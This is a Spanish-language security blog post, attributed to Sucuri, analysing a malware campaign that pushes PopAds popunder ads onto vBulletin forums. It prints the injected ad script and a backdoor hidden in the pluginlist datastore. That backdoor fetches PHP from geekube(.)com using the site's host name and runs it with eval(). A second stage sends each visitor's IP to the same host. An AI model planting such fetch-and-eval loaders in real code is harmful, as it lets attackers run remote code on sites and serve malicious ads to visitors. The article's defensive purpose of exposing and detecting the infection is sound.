vBulletin Usado para Mostrar Anuncios de Hackers

Share this…

En el pasado, hemos visto una gran cantidad de páginas web vBulletin comprometidas a través de la Vulnerabilidad VBSeo. Los atacantes han infectado páginas web vBulletin desde el año 2012 con este malware y más recientemente con una nueva variación de la misma infección. Desde entonces, la tabla datastore en vBulletin ha sido una excelente candidata para que los atacantes almacenen códigos maliciosos y puedan cargar el malware en cada visita.

Recientemente, nos encontramos con una campaña de malware de páginas web vBulletin que muestra anuncios maliciosos de popads[.]net sin razón aparente. Los webmasters no tenían idea de dónde venían.

vBulletin hace cumplir de restablecimiento de contraseña después de un ataque página web

Anuncios Pop-up en un Foro vBulletin

Esta red publicitaria es muy conocida por sus pop-ups desagradables y sus anuncios que propagan malware como parte central de su red, lo que hace que esta situación sea problemática.

Aquí hay un ejemplo del código que se inyecta en las páginas web con vBulletin:

<!-- PopAds.net Popunder Code for www.TuPaginaWeb.com -->
<script type="text/javascript" data-cfasync="false">
  var _pop = _pop || [];
  _pop.push(['siteId', 1514372]);
  _pop.push(['minBid', 0]);
  _pop.push(['popundersPerIP', 0]);
  _pop.push(['delayBetween', 0]);
  _pop.push(['default', false]);
  _pop.push(['defaultPerDay', 0]);
  _pop.push(['topmostLayer', false]);
  (function() {
    var pa = document.createElement('script'); pa.type = 'text/javascript'; pa.async = true;
    var s = document.getElementsByTagName('script')[0]; 
    pa.src = '//c1.popads.net/pop.js';
    pa.onerror = function() {
      var sa = document.createElement('script'); sa.type = 'text/javascript'; sa.async = true;
      sa.src = '//c2.popads.net/pop.js';
      s.parentNode.insertBefore(sa, s);
    };
    s.parentNode.insertBefore(pa, s);
  })();
</script>
<!-- PopAds.net Popunder Code End -->

El código es bastante fácil de detectar porque se coloca después del cierre de las etiquetas </html>. La mayoría de los escáneres de seguridad lo evaluarían como sospechoso y curiosamente, sólo se muestra una vez por IP. Esto significa que el visitante no verá los anuncios en visitas posteriores.

Archivo PHP Externo Cargándose desde Pluginlist

Sabiendo cómo las infecciones de vBulletin tienden a almacenarse dentro de la tabla datastore, le echamos un vistazo a la tabla y específicamente a la columna pluginlist.

Encontramos algo que no debería estar allí, en medio del código de Tapatalk:

$output = preg_replace('@<link href="([^">]+)android-app:\/\/com.quoord\.tapatalkpro\.activity\/tapatalk@',
'<link href="android-app://com.quoord.tapatalkpro.activity/tapatalk', $output);
$output = preg_replace('@<link href="([^">]+)ios-app:\/\/307880732\/tapatalk@',
'<link href="ios-app://307880732/tapatalk', $output);
$config_data = file_get_contents('https://geekube(.)com/wp-content/uploads/2013/xml.php?a=inner&host=' . $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data); }
";s:14:"page_templates";s:106:"global $vbulletin;

Cargar archivos PHP de fuentes externas a través de

pluginlist nunca es buena idea – por lo que que merece más investigación. Tomamos medidas para simplemente imitar las solicitudes en cuestión.

En el primer nivel de la solicitud, el dominio geekube(.)com nos devuelve el siguiente archivo PHP alojado en un sitio web malicioso con WordPress:

$output .= file_get_contents('https://geekube.com/wp-content/uploads/2013/uploads/sites/16b54149eeb067699ab60ce79aa44b9e/js.php?remote=' . $_SERVER['REMOTE_ADDR']);

Podemos ver que el ejecutable externo recibe la dirección IP del visitante, lo que le permite al malware realizar sus controles de IP condicionales y así haciendo la detección más difícil.

Al convertir $_SERVER[‘REMOTE_ADDR’] en una IP de servidor – por ejemplo, 192.192.192.192 – el ejecutable nos devuelve inmediatamente todo el bloque de código necesario para mostrar los anuncios popads que vimos anteriormente.

La primera parte de la cadena de pedidos hace uso de $_SERVER[‘SERVER_NAME’] y ahora podemos ver por qué; el ejecutable personaliza el código para que parezca lo más legítimo posible, modificando el comentario en la primera línea:

<!-- PopAds.net Popunder Code for www.TuPaginaWeb.com -->

El ejecutable mostrará el dominio de la página web de la víctima en el comentario en la primera línea, en lugar de www.TuPaginaWeb.com, en un intento de engañar a los webmasters y que lo confundan con código legítimo.

Nuevos Dominios Utilizados

Un nuevo dominio involucrado en esta campaña ha estado utilizando exactamente los mismos mecanismos y peticiones – images(.)imagenetcom(.)com

Sospechamos que habrá otras páginas web que también aprovechan esta táctica contra las páginas web que usan vBulletin.

Siempre es importante mantener un ojo en los plugins que tienes en tu página web. Esto es importante en vBulletin debido a la facilidad con la que los atacantes pueden agregar código personalizado o llamadas a ejecutables externos en plugins ya existentes. Esto solamente hace que sea más difícil para un webmaster localizar la inyección malintencionada, a menos que se realicen revisiones constantes de los plugins en uso.

Los Servicios de Monitoreo de Integridad también te ayudarán a mantenerte al tanto de cualquier modificación a plugins y archivos de tu página web, que no han sido autorizados.

Fuente:https://blog.sucuri.net/